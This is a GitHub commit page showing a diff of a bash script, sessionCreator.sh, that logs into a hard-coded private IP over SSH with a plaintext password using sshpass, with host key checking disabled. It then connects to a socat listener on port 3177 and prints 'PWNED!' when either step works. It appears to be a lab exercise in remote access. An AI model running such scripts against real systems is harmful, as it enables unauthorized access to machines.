Skip to content

Commit

Permalink
Update sessionCreator.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
PKHarsimran authored Nov 23, 2023
1 parent aff62e3 commit 09fb9e5
Showing 1 changed file with 23 additions and 20 deletions.
43 changes: 23 additions & 20 deletions sessionCreator.sh
Original file line number Diff line number Diff line change
@@ -1,26 +1,29 @@
#!/usr/bin/env bash
echo "Start listening "
#######################
#First check for ssh connection
username=user
TARGET_IP=192.168.7.141
#ssh $username@$TARGET_IP -p 22
#going to try something new here
###########################
sudo apt-get install sshpass -y
sshpass -p 'password' ssh $username@$TARGET_IP -p 22
if [ $(whoami) != $username ]; then
echo "PWNED ! SSH is good "

echo "Start listening..."

# Define variables
username="user"
TARGET_IP="192.168.7.141"
ssh_password="password"

# Install sshpass if not already installed
if ! command -v sshpass &> /dev/null; then
sudo apt-get install sshpass -y
fi

# Try SSH connection
echo "Attempting SSH connection..."
if sshpass -p "$ssh_password" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 "$username@$TARGET_IP" -p 22 "echo connected"; then
echo "PWNED! SSH is good."
else
echo "No SSH access"
echo "No SSH access."
fi
#############################
echo "Trying Socat access .. . "
socat STDIO TCP4:192.168.7.141:3177 #access Socat
if [ $(whoami) != 'pkvirus' ]; then
echo "PWNED ! Socat is good "

# Try Socat access
echo "Trying Socat access..."
if echo | socat STDIO TCP4:"$TARGET_IP":3177; then
echo "PWNED! Socat is good."
else
echo "No socat access"
echo "No Socat access."
fi
##############################

0 comments on commit 09fb9e5

Please sign in to comment.